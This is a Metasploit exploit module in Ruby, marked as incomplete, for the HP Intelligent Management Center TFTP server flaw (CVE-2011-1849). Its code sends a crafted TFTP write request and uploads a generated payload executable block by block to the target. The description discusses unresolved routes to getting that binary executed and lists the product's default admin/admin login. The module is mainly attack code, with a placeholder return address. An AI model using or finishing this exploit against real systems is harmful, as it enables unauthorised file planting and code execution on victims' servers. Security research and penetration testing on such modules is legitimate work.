##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "[INCOMPLETE] HP Intelligent Management Center tftpserver WRQ Remote Code Execution Vulnerability",
			'Description'    => %q{
					The flaw exists within the tftpserver.exe component which listens by default on UDP port 69.
				When handling WRQ opcode types the server allows arbitrary file creation. Additionally, the
				server is configured to truncate/overwrite existing files. This process is owned by the SYSTEM
				user. A remote attacker can exploit this vulnerability to execute arbitrary code under the
				context of the SYSTEM user.  --- ZDI

				Note: By default, the files are stored in the follwoing folder. And this appears to be the only
				place to upload our stuff to (attempt to anywhere else will just give us an access denied, even
				if the location has full control set for 'Everyone'):
				C:\Program Files\iMC\server\tmp\

				tftpserver.exe is not in that directory.

				The only possible ways to gain code exeuction is under one of these:
				1. The user manually clicks on the binary
				2. C:\Program Files\iMC\server\tmp\ also happens to be a web directory
				
				** Still investigating if it's possible to traverse our way out. Or at least use another vuln (
				if any) to execute our binry in C:\Program Files\iMC\server\tmp\ **

				Default password for Intelligent Management on port 8080: admin/admin
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'sinn3r',  #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2011-1849' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-161/' ],
				],
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh",  #none/process/seh
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', {'Ret'=>0x41414141} ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 1 2011",
			'DefaultTarget'  => 0))
	end

	def exploit
		print_status("Generating payload...")
		exe = generate_payload_exe

		print_status("Sending packet...")

		connect_udp

		#1 = Read; 2 = Write; 3 = Data; 4 = ACK; 5 = Err
		#http://www.freesoft.org/CIE/RFC/1350/5.htm

		#Send a WRQ request to begin the transfer
		pkt  = ''
		pkt <<  "\x00\x02"    #Opcode (WRQ)
		pkt << "test.exe"     #Filename
		pkt << "\x00"         #Null byte terminator
		pkt << "octet"        #Mode
		pkt << "\x00"         #Null byte terminator

		#Send WRQ
		udp_sock.put(pkt)

		#ACK from server
		res = udp_sock.recvfrom(1024)
		tmp = Rex::Text.to_hex_dump(res.to_s)
		print_status("Response:\n#{tmp.chomp}")

		#Same port (69) is used to transfer our data packets. If chunk size is less than 512 bytes,
		#it is treated by the TFTP server as the last data packet
		counter = 1
		0.step(exe.length, 512) do |i|
			block = [counter].pack('n')
			data = ''
			data << "\x00\x03"   #Opcode
			data << block        #Block number
			data << exe[i, 512]  #Data

			print_status("Sending block ##{counter.to_s}")
			udp_sock.write(data)

			counter += 1

			#See if each data packet is delivered correctly
			res = udp_sock.recvfrom(1024)
			print_status("Response:\n#{Rex::Text.to_hex_dump(res.to_s).chomp}")
		end

		disconnect_udp
	end
end
